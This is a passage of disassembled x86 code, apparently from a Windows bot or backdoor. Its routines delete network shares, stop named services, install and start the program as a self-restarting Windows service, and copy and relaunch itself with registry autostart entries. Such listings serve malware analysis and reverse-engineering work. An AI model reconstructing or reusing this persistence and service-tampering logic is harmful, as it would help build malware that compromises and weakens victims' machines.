var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 4E54h
		call	sub_429B60
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		jz	loc_421D51
		cmp	[ebp+arg_14], ebx
		mov	[ebp+arg_0], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		jnz	short loc_421B68
		cmp	[ebp+arg_C], ebx
		jnz	short loc_421B68
		push	offset aErased	; "erased"
		push	offset aFfec81uznt81 ; "fFEC81UzNT81"
		lea	eax, [ebp+var_2744]
		push	offset dword_44F124
		push	eax
		call	sub_429B03
		add	esp, 10h


loc_421B68:				; CODE XREF: sub_421B16+2Dj
					; sub_421B16+32j ...
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	ebx
		call	dword_456E40
		cmp	eax, ebx
		mov	[ebp+var_14], eax
		jz	loc_421C13
		cmp	eax, 0EAh
		jz	short loc_421C13
		xor	esi, esi


loc_421B9A:				; CODE XREF: sub_421B16+F6j
		push	ebx
		push	off_44EBB8[esi]
		push	ebx
		call	dword_456DBC
		test	eax, eax
		jnz	short loc_421C03
		cmp	[ebp+arg_14], ebx
		jnz	short loc_421C00
		cmp	[ebp+arg_C], ebx
		jnz	short loc_421C00
		cmp	[ebp+arg_10], ebx
		jz	short loc_421C00
		cmp	[ebp+var_4], ebx
		jle	short loc_421BD3
		lea	eax, [ebp+var_2744]
		push	offset dword_44F120
		push	eax
		call	sub_42A5E0
		pop	ecx
		pop	ecx


loc_421BD3:				; CODE XREF: sub_421B16+A8j
		push	off_44EBB8[esi]
		lea	eax, [ebp+var_4E54]
		push	offset off_44F11C
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_4E54]
		push	eax
		lea	eax, [ebp+var_2744]
		push	eax
		call	sub_42A5E0
		add	esp, 14h


loc_421C00:				; CODE XREF: sub_421B16+99j
					; sub_421B16+9Ej ...
		inc	[ebp+var_4]


loc_421C03:				; CODE XREF: sub_421B16+94j
		add	esi, 8
		cmp	esi, 138h
		jb	short loc_421B9A
		jmp	loc_421CA5
; ---------------------------------------------------------------------------


loc_421C13:				; CODE XREF: sub_421B16+75j
					; sub_421B16+80j
		mov	edi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+arg_0], ebx
		jb	short loc_421C9A


loc_421C1E:				; CODE XREF: sub_421B16+182j
		mov	esi, [edi]
		push	esi
		call	sub_42AA07
		cmp	word ptr [esi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_421C91
		push	0
		push	esi
		push	0
		call	dword_456DBC
		test	eax, eax
		jnz	short loc_421C91
		cmp	[ebp+arg_14], eax
		jnz	short loc_421C8E
		cmp	[ebp+arg_C], eax
		jnz	short loc_421C8E
		cmp	[ebp+arg_10], eax
		jz	short loc_421C8E
		cmp	[ebp+var_4], eax
		jle	short loc_421C65
		lea	eax, [ebp+var_2744]
		push	offset dword_44F120
		push	eax
		call	sub_42A5E0
		pop	ecx
		pop	ecx


loc_421C65:				; CODE XREF: sub_421B16+13Aj
		push	dword ptr [edi]
		lea	eax, [ebp+var_4E54]
		push	offset off_44F11C
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_4E54]
		push	eax
		lea	eax, [ebp+var_2744]
		push	eax
		call	sub_42A5E0
		add	esp, 14h


loc_421C8E:				; CODE XREF: sub_421B16+12Bj
					; sub_421B16+130j ...
		inc	[ebp+var_4]


loc_421C91:				; CODE XREF: sub_421B16+117j
					; sub_421B16+126j
		add	edi, 28h
		inc	ebx
		cmp	ebx, [ebp+arg_0]
		jbe	short loc_421C1E


loc_421C9A:				; CODE XREF: sub_421B16+106j
		push	[ebp+var_8]
		call	dword_456FE0
		xor	ebx, ebx


loc_421CA5:				; CODE XREF: sub_421B16+F8j
		cmp	[ebp+var_14], 0EAh
		jz	loc_421B68
		cmp	[ebp+arg_10], ebx
		jz	short loc_421D23
		cmp	[ebp+arg_14], ebx
		jnz	loc_421E8E
		cmp	[ebp+arg_C], ebx
		jnz	loc_421E8E
		cmp	[ebp+var_4], ebx
		jnz	short loc_421CDD


loc_421CCE:				; CODE XREF: sub_421B16+222j
		push	offset aErased	; "erased"
		push	offset aFfec81uznt81 ; "fFEC81UzNT81"
		jmp	loc_421E40
; ---------------------------------------------------------------------------


loc_421CDD:				; CODE XREF: sub_421B16+1B6j
		push	[ebp+var_4]
		push	offset aErased	; "erased"
		push	offset aTotalSharesSD ;	" Total	shares:	[%s: %d]"


loc_421CEA:				; CODE XREF: sub_421B16+348j
		lea	eax, [ebp+var_4E54]
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_4E54]
		push	eax
		lea	eax, [ebp+var_2744]
		push	eax
		call	sub_42A5E0
		lea	eax, [ebp+var_2744]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_41CE4A
		add	esp, 24h
		jmp	loc_421E8E
; ---------------------------------------------------------------------------


loc_421D23:				; CODE XREF: sub_421B16+19Fj
		cmp	[ebp+arg_14], ebx
		jnz	loc_421E8E
		cmp	[ebp+arg_C], ebx
		jnz	loc_421E8E
		cmp	[ebp+var_4], ebx
		jz	short loc_421CCE
		push	[ebp+var_4]
		push	offset aErased	; "erased"
		push	offset aFfec81uznt81 ; "fFEC81UzNT81"
		push	offset aSTotalSharesSD ; "%s Total shares %s: [%d]"
		jmp	loc_421E80
; ---------------------------------------------------------------------------


loc_421D51:				; CODE XREF: sub_421B16+1Bj
		cmp	[ebp+arg_14], ebx
		mov	edi, offset aCreated ; "created"
		jnz	short loc_421D7A
		cmp	[ebp+arg_C], ebx
		jnz	short loc_421D7A
		push	edi
		push	offset aJvatg1988z81 ; "jVATg1988z81"
		lea	eax, [ebp+var_2744]
		push	offset dword_44F124
		push	eax
		call	sub_429B03
		add	esp, 10h


loc_421D7A:				; CODE XREF: sub_421B16+243j
					; sub_421B16+248j
		mov	[ebp+arg_0], ebx
		xor	esi, esi


loc_421D7F:				; CODE XREF: sub_421B16+30Aj
		mov	eax, off_44EBB8[esi]
		mov	[ebp+var_30], ebx
		mov	[ebp+var_34], eax
		mov	eax, dword_44EBBC[esi]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	2
		push	ebx
		mov	[ebp+var_2C], offset aUnloading	; "Unloading"
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], 4
		mov	[ebp+var_20], ebx
		mov	[ebp+var_18], ebx
		call	dword_456DE0
		test	eax, eax
		jnz	short loc_421E17
		cmp	[ebp+arg_14], ebx
		jnz	short loc_421E14
		cmp	[ebp+arg_C], ebx
		jnz	short loc_421E14
		cmp	[ebp+arg_10], ebx
		jz	short loc_421E14
		cmp	[ebp+var_8], ebx
		jle	short loc_421DE7
		lea	eax, [ebp+var_2744]
		push	offset dword_44F120
		push	eax
		call	sub_42A5E0
		pop	ecx
		pop	ecx


loc_421DE7:				; CODE XREF: sub_421B16+2BCj
		push	off_44EBB8[esi]
		lea	eax, [ebp+var_4E54]
		push	offset off_44F11C
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_4E54]
		push	eax
		lea	eax, [ebp+var_2744]
		push	eax
		call	sub_42A5E0
		add	esp, 14h


loc_421E14:				; CODE XREF: sub_421B16+2ADj
					; sub_421B16+2B2j ...
		inc	[ebp+var_8]


loc_421E17:				; CODE XREF: sub_421B16+2A8j
		add	esi, 8
		cmp	esi, 138h
		jb	loc_421D7F
		cmp	[ebp+arg_10], ebx
		jz	short loc_421E63
		cmp	[ebp+arg_14], ebx
		jnz	short loc_421E8E
		cmp	[ebp+arg_C], ebx
		jnz	short loc_421E8E
		cmp	[ebp+var_8], ebx
		jnz	short loc_421E55


loc_421E3A:				; CODE XREF: sub_421B16+35Aj
		push	edi
		push	offset aJvatg1988z81 ; "jVATg1988z81"


loc_421E40:				; CODE XREF: sub_421B16+1C2j
		push	offset aSNoSharesS_ ; "%s No shares %s."
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_41CE4A
		add	esp, 14h
		jmp	short loc_421E8E
; ---------------------------------------------------------------------------


loc_421E55:				; CODE XREF: sub_421B16+322j
		push	[ebp+var_8]
		push	edi
		push	offset aTotalSharesS_0 ; " Total shares	[%s: %d]"
		jmp	loc_421CEA
; ---------------------------------------------------------------------------


loc_421E63:				; CODE XREF: sub_421B16+313j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_421E8E
		cmp	[ebp+arg_14], ebx
		jnz	short loc_421E8E
		cmp	[ebp+var_8], ebx
		jz	short loc_421E3A
		push	[ebp+var_8]
		push	edi
		push	offset aJvatg1988z81 ; "jVATg1988z81"
		push	offset aSTotalShares_0 ; "%s Total shares [%s: %d]"


loc_421E80:				; CODE XREF: sub_421B16+236j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_41CE4A
		add	esp, 18h


loc_421E8E:				; CODE XREF: sub_421B16+1A4j
					; sub_421B16+1ADj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421B16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E93	proc near		; CODE XREF: sub_422009+38p
					; sub_422009+85p

var_24		= byte ptr -24h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp+var_4], edi
		mov	esi, offset aFfec81uznt81 ; "fFEC81UzNT81"


loc_421EA6:				; CODE XREF: sub_421E93+119j
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	dword_456F28	; OpenSCManagerA
		push	0F01FFh
		mov	[ebp+var_8], eax
		push	off_44DF68[edi]
		push	eax
		call	dword_456DC8	; OpenServiceA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_421F0F
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 424h
		jnz	loc_421F96
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jz	loc_421F96
		cmp	[ebp+arg_10], eax
		jnz	loc_421F96
		cmp	[ebp+arg_8], eax
		jnz	loc_421F96
		push	off_44DF78[edi]
		push	esi
		push	offset aSTheSServiceDo ; "%s The %s service does not exist."
		jmp	short loc_421F88
; ---------------------------------------------------------------------------


loc_421F0F:				; CODE XREF: sub_421E93+3Ej
		lea	eax, [ebp+var_24]
		push	eax
		push	1
		push	ebx
		call	dword_456E44	; ControlService
		test	eax, eax
		jz	short loc_421F5D
		lea	eax, [ebp+var_24]
		push	eax
		push	1
		push	ebx
		call	dword_456E44	; ControlService
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jz	short loc_421F58
		cmp	[ebp+arg_10], eax
		jnz	short loc_421F58
		cmp	[ebp+arg_8], eax
		jnz	short loc_421F58
		push	off_44DF78[edi]
		push	esi
		push	offset aSSServiceStopp ; "%s %s	service	stopped."
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 14h


loc_421F58:				; CODE XREF: sub_421E93+9Fj
					; sub_421E93+A4j ...
		inc	[ebp+var_4]
		jmp	short loc_421F96
; ---------------------------------------------------------------------------


loc_421F5D:				; CODE XREF: sub_421E93+8Bj
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 426h
		jnz	short loc_421F96
		cmp	[ebp+arg_C], 0
		jz	short loc_421F96
		cmp	[ebp+arg_10], 0
		jnz	short loc_421F96
		cmp	[ebp+arg_8], 0
		jnz	short loc_421F96
		push	off_44DF78[edi]
		push	esi
		push	offset aSTheSServiceWa ; "%s The %s service was	not started."


loc_421F88:				; CODE XREF: sub_421E93+7Aj
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 14h


loc_421F96:				; CODE XREF: sub_421E93+4Bj
					; sub_421E93+56j ...
		push	ebx
		call	dword_456DE4	; CloseServiceHandle
		push	[ebp+var_8]
		call	dword_456DE4	; CloseServiceHandle
		add	edi, 4
		cmp	edi, 10h
		jl	loc_421EA6
		xor	eax, eax
		cmp	[ebp+var_4], eax
		jnz	short loc_421FDE
		cmp	[ebp+arg_10], eax
		jnz	short loc_422004
		cmp	[ebp+arg_8], eax
		jnz	short loc_422004
		cmp	[ebp+arg_C], eax
		jnz	short loc_422004
		push	esi
		push	offset aSNoServicesSto ; "%s No	services stopped."
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 10h
		jmp	short loc_422004
; ---------------------------------------------------------------------------


loc_421FDE:				; CODE XREF: sub_421E93+124j
		cmp	[ebp+arg_10], eax
		jnz	short loc_422004
		cmp	[ebp+arg_8], eax
		jnz	short loc_422004
		cmp	[ebp+arg_C], eax
		jnz	short loc_422004
		push	[ebp+var_4]
		push	esi
		push	offset aSTotalServices ; "%s Total services stopped: %d"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 14h


loc_422004:				; CODE XREF: sub_421E93+129j
					; sub_421E93+12Ej ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421E93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422009	proc near		; DATA XREF: sub_40A9FE+ADBo
					; sub_40A9FE+9E77o ...

var_C4		= dword	ptr -0C4h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0C4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	31h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_C4]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		cmp	[ebp+var_2C], esi
		mov	[eax+0BCh], edi
		jz	short loc_42206C


loc_422034:				; CODE XREF: sub_422009+61j
		cmp	dword_457034, esi
		jnz	short loc_42205F
		push	edi
		push	esi
		push	edi
		push	esi
		push	esi
		call	sub_421E93
		push	edi
		push	esi
		push	edi
		push	esi
		push	esi
		push	edi
		call	sub_42184C
		push	edi
		push	esi
		push	edi
		push	esi
		push	esi
		push	edi
		call	sub_421B16
		add	esp, 44h


loc_42205F:				; CODE XREF: sub_422009+31j
		push	0C3500h
		call	dword_437190	; Sleep
		jmp	short loc_422034
; ---------------------------------------------------------------------------


loc_42206C:				; CODE XREF: sub_422009+29j
		cmp	dword_457034, esi
		mov	edi, [ebp+var_C4]
		jnz	short loc_4220C7
		cmp	[ebp+var_30], esi
		jz	short loc_422096
		push	esi
		lea	eax, [ebp+var_C0]
		push	[ebp+var_14]
		push	[ebp+var_10]
		push	eax
		push	edi
		call	sub_421E93
		add	esp, 14h


loc_422096:				; CODE XREF: sub_422009+74j
		push	esi
		lea	eax, [ebp+var_C0]
		push	[ebp+var_14]
		push	[ebp+var_10]
		push	eax
		push	edi
		push	[ebp+var_30]
		call	sub_42184C
		push	esi
		lea	eax, [ebp+var_C0]
		push	[ebp+var_14]
		push	[ebp+var_10]
		push	eax
		push	edi
		push	[ebp+var_30]
		call	sub_421B16
		add	esp, 30h


loc_4220C7:				; CODE XREF: sub_422009+6Fj
		push	[ebp+var_40]
		call	sub_423623
		pop	ecx
		push	esi
		call	dword_437174	; ExitThread
		pop	edi
		pop	esi


loc_4220D9:				; DATA XREF: sub_422147+12o
		cmp	[esp+0C8h+var_C4], 5
		push	esi
		jnz	short loc_422128
		mov	esi, offset dword_457E1C
		mov	ecx, esi
		call	sub_41DB60
		test	al, al
		jz	short loc_42211E
		push	offset aSystemShutting ; "System shutting down."
		push	esi
		call	sub_41CAB4
		pop	ecx
		pop	ecx
		push	3E8h
		call	dword_437190	; Sleep
		mov	ecx, esi
		call	sub_41CA82
		call	dword_456E58	; WSACleanup
		push	0
		call	dword_4370D4	; ExitProcess


loc_42211E:				; CODE XREF: sub_422009+E6j
		mov	dword_46AFF8, 7


loc_422128:				; CODE XREF: sub_422009+D6j
		push	offset dword_46AFF4
		push	dword_46AFF0
		call	dword_456E70	; SetServiceStatus
		test	eax, eax
		jnz	short loc_422143
		call	dword_437170	; RtlGetLastWin32Error


loc_422143:				; CODE XREF: sub_422009+132j
		pop	esi
		retn	4
sub_422009	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_422147	proc near		; DATA XREF: sub_418E0F+8Bo

var_4		= byte ptr -4

		push	ecx
		push	esi
		push	edi
		push	4
		xor	esi, esi
		pop	edi
		mov	dword_46AFF4, 30h
		push	offset loc_4220D9
		push	offset dword_4439CC
		mov	dword_46AFF8, 2
		mov	dword_46AFFC, edi
		mov	dword_46B000, esi
		mov	dword_46B004, esi
		mov	dword_46B008, esi
		mov	dword_46B00C, esi
		call	dword_456F50	; RegisterServiceCtrlHandlerA
		push	offset dword_46AFF4
		push	eax
		mov	dword_46AFF0, eax
		mov	dword_46AFF8, edi
		mov	dword_46B008, esi
		mov	dword_46B00C, esi
		call	dword_456E70	; SetServiceStatus
		lea	eax, [esp+0Ch+var_4]
		push	eax
		push	esi
		push	esi
		push	offset sub_4222F7
		push	esi
		push	esi
		call	dword_437180	; CreateThread
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_4221DE
		push	0FFFFFFFFh
		push	edi
		call	dword_43707C	; WaitForSingleObject
		push	edi
		call	dword_437044	; CloseHandle


loc_4221DE:				; CODE XREF: sub_422147+85j
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
sub_422147	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221E4	proc near		; CODE XREF: sub_418E0F+160p
					; sub_418E0F+185p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	offset aS_4	; "\"%s\""
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		xor	esi, esi
		push	2
		push	esi
		push	esi
		call	dword_456F28	; OpenSCManagerA
		cmp	eax, esi
		mov	dword_46AFEC, eax
		jnz	short loc_422224
		push	[ebp+arg_0]
		call	sub_42245D
		pop	ecx


loc_422224:				; CODE XREF: sub_4221E4+35j
		push	esi
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	esi
		push	2
		push	110h
		push	0F01FFh
		push	offset dword_4439E8
		push	offset dword_4439CC
		push	dword_46AFEC
		call	dword_456FB8	; CreateServiceA
		mov	edi, eax
		cmp	edi, esi
		jnz	short loc_422278
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 436h
		jz	short loc_422283
		cmp	eax, 431h
		jz	short loc_422283
		push	[ebp+arg_0]
		call	sub_42245D
		pop	ecx
		jmp	short loc_422288
; ---------------------------------------------------------------------------


loc_422278:				; CODE XREF: sub_4221E4+73j
		push	offset loc_443A08
		call	sub_422335
		pop	ecx


loc_422283:				; CODE XREF: sub_4221E4+80j
					; sub_4221E4+87j
		call	sub_4222A1


loc_422288:				; CODE XREF: sub_4221E4+92j
		push	edi
		call	dword_456DE4	; CloseServiceHandle
		push	dword_46AFEC
		call	dword_456DE4	; CloseServiceHandle
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn
sub_4221E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4222A1	proc near		; CODE XREF: sub_4221E4:loc_422283p
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_456F28	; OpenSCManagerA
		test	eax, eax
		mov	dword_46AFEC, eax
		jz	short loc_4222F3
		push	0F01FFh
		push	offset dword_4439CC
		push	eax
		call	dword_456DC8	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jz	short loc_4222F3
		push	0
		push	0
		push	esi
		call	dword_456DD0	; StartServiceA
		test	eax, eax
		jz	short loc_4222F3
		push	dword_46AFEC
		call	dword_456DE4	; CloseServiceHandle
		push	esi
		call	dword_456DE4	; CloseServiceHandle


loc_4222F3:				; CODE XREF: sub_4222A1+17j
					; sub_4222A1+2Ej ...
		xor	eax, eax
		pop	esi
		retn
sub_4222A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4222F7	proc near		; DATA XREF: sub_422147+74o

var_4		= byte ptr -4

		push	ecx
		push	esi
		push	edi
		lea	eax, [esp+0Ch+var_4]
		xor	edi, edi
		push	eax
		push	edi
		push	edi
		push	offset sub_418FA1
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_42231E
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------


loc_42231E:				; CODE XREF: sub_4222F7+1Dj
		push	0FFFFFFFFh
		push	esi
		call	dword_43707C	; WaitForSingleObject
		push	esi
		call	dword_437044	; CloseHandle
		push	edi
		call	dword_437174	; ExitThread
sub_4222F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422335	proc near		; CODE XREF: sub_4221E4+99p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		push	0F003Fh
		inc	edi
		push	ebx
		push	ebx
		mov	[ebp+var_8], edi
		call	dword_456F28	; OpenSCManagerA
		cmp	eax, ebx
		mov	dword_46AFEC, eax
		jz	short loc_4223C0
		mov	esi, offset dword_4439CC
		push	0F01FFh
		push	esi
		push	eax
		call	dword_456DC8	; OpenServiceA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_4223C0
		push	dword_46AFEC
		call	dword_456E00	; LockServiceDatabase
		cmp	eax, ebx
		mov	[ebp+var_14], eax
		jnz	short loc_4223D2
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 41Fh
		jnz	short loc_4223C0
		mov	ebx, 10Ch
		push	ebx
		push	40h
		call	dword_437128	; LocalAlloc
		test	eax, eax
		mov	[ebp+var_C], eax
		jz	short loc_4223C0
		lea	ecx, [ebp+var_18]
		push	ecx
		push	ebx
		push	eax
		push	dword_46AFEC
		call	dword_456E88	; QueryServiceLockStatusA
		test	eax, eax
		jnz	short loc_4223C7


loc_4223C0:				; CODE XREF: sub_422335+25j
					; sub_422335+3Ej ...
		xor	eax, eax
		jmp	loc_422458
; ---------------------------------------------------------------------------


loc_4223C7:				; CODE XREF: sub_422335+89j
		push	[ebp+var_C]
		call	dword_43703C	; LocalFree
		xor	ebx, ebx


loc_4223D2:				; CODE XREF: sub_422335+51j
		push	2
		push	esi
		push	dword_46AFEC
		call	dword_456DC8	; OpenServiceA
		mov	dword_46AFEC, eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_34]
		push	eax
		push	2
		push	[ebp+var_4]
		mov	[ebp+var_1C], 0BB8h
		mov	[ebp+var_20], edi
		mov	[ebp+var_28], edi
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_34], 0Ah
		call	dword_457010	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_42241C
		mov	[ebp+var_8], ebx


loc_42241C:				; CODE XREF: sub_422335+E2j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		push	[ebp+var_4]
		call	dword_457010	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_422437
		mov	[ebp+var_8], ebx


loc_422437:				; CODE XREF: sub_422335+FDj
		push	[ebp+var_14]
		call	dword_456F54	; UnlockServiceDatabase
		push	[ebp+var_4]
		call	dword_456DE4	; CloseServiceHandle
		push	dword_46AFEC
		call	dword_456DE4	; CloseServiceHandle
		mov	eax, [ebp+var_8]


loc_422458:				; CODE XREF: sub_422335+8Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422335	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245D	proc near		; CODE XREF: sub_4221E4+3Ap
					; sub_4221E4+8Cp

var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_15B		= byte ptr -15Bh
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 364h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_364]
		push	104h
		xor	ebx, ebx
		push	eax
		push	ebx
		call	dword_437070	; GetModuleHandleA
		push	eax
		call	dword_43717C	; GetModuleFileNameA
		push	40h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_15B]
		mov	[ebp+var_15C], bl
		push	ebx
		rep stosd
		push	dword_4439A4
		stosw
		stosb
		lea	eax, [ebp+var_15C]
		push	eax
		push	ebx
		call	dword_437260
		mov	esi, dword_4370B4
		lea	eax, [ebp+var_15C]
		push	eax
		push	offset dword_457D18
		call	esi ; dword_4370B4
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		call	esi ; dword_4370B4
		mov	esi, offset dword_4439A8
		lea	eax, [ebp+var_260]
		push	esi
		push	eax
		push	offset dword_445D68
		push	[ebp+arg_0]
		call	sub_429B03
		lea	eax, [ebp+var_260]
		push	esi
		push	eax
		call	sub_4278B2
		add	esp, 18h
		test	eax, eax
		jz	loc_4225B6
		push	1
		mov	edi, offset byte_443B5B
		push	[ebp+arg_0]
		mov	esi, offset dword_443A5C
		push	edi
		push	esi
		push	80000001h
		call	sub_421409
		push	1
		push	[ebp+arg_0]
		push	edi
		push	esi
		push	dword_443A58
		call	sub_421409
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_429760
		push	44h
		lea	eax, [ebp+var_58]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 40h
		lea	eax, [ebp+var_14]
		mov	[ebp+var_58], esi
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		inc	esi
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_4C], offset byte_454A54
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], bx
		call	dword_4370D8	; CreateProcessA
		test	eax, eax
		jz	short loc_4225AF
		push	0C8h
		call	dword_437190	; Sleep
		push	[ebp+var_14]
		mov	esi, dword_437044
		call	esi ; dword_437044
		push	[ebp+var_10]
		call	esi ; dword_437044
		call	dword_456E58	; WSACleanup
		push	ebx
		call	dword_4370D4	; ExitProcess


loc_4225AF:				; CODE XREF: sub_42245D+128j
		push	esi
		call	dword_4370D4	; ExitProcess


loc_4225B6:				; CODE XREF: sub_42245D+A3j
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_418FA1
		push	ebx
		push	ebx
		call	dword_437180	; CreateThread
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4225DF
		push	0FFFFFFFFh
		push	esi
		call	dword_43707C	; WaitForSingleObject
		push	esi
		call	dword_437044	; CloseHandle


loc_4225DF:				; CODE XREF: sub_42245D+170j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42245D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225E4	proc near		; CODE XREF: sub_422903+1Fp

var_2944	= byte ptr -2944h
var_234		= byte ptr -234h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_98		= byte ptr -98h
var_90		= byte ptr -90h
var_7C		= byte ptr -7Ch
var_68		= word ptr -68h
var_66		= word ptr -66h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
